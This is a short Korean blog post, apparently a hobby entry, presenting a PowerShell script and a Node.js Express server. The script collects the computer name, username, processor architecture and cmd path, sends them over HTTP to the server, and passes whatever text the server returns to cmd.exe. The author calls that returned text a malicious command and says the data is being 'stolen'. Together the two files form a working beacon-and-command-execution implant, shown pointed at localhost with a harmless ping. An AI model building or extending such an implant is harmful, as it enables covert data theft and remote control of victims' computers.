반응형
$ARC = "?arc=" + $env:PROCESSOR_ARCHITECTURE; #컴퓨터 아키텍쳐
$CN = "&cn=" + $env:COMPUTERNAME; #컴퓨터 이름
$UN = "&un=" + $env:USERNAME; #유저네임

$CMDPATH = "&path=" + $env:ComSpec; #cmd 경로

$r = [System.Net.WebRequest]::Create("http://localhost:2999/information" + $ARC + $CN + $UN + $CMDPATH);
$resp = $r.GetResponse();
$reqstream = $resp.GetResponseStream();
$sr = new-object System.IO.StreamReader $reqstream;
$result = $sr.ReadToEnd();
#write-host $result;

cmd.exe /c $result; #서버에서 전송한 특정 악성 명령어 실행

파워쉘에서 환경변수 명령어를 통해 사용자 이름, 컴퓨터 이름, 컴퓨터 아키텍쳐 등을 탈취하여 Node로 구현된 서버로 보낸다. 

 

const express = require("express");
const app = express();

app.use(express.json());

app.get("/information", (req,res ) => {
    console.log(req.query);

    const command = "ping 127.0.0.1";

    res.send(command);
})

app.listen(2999, function() {
    console.log("server on port 2999");
});


서버에서는 cmd로 실행할 수 있는 특정 인수를 response한다.

 

 

다양한 기능을 추가해볼 생각이다.

반응형

'잡개발' 카테고리의 다른 글

자바 UDP 소켓 양방향 통신  (0) 2022.06.03
자바 파일 입출력 구현  (0) 2022.05.12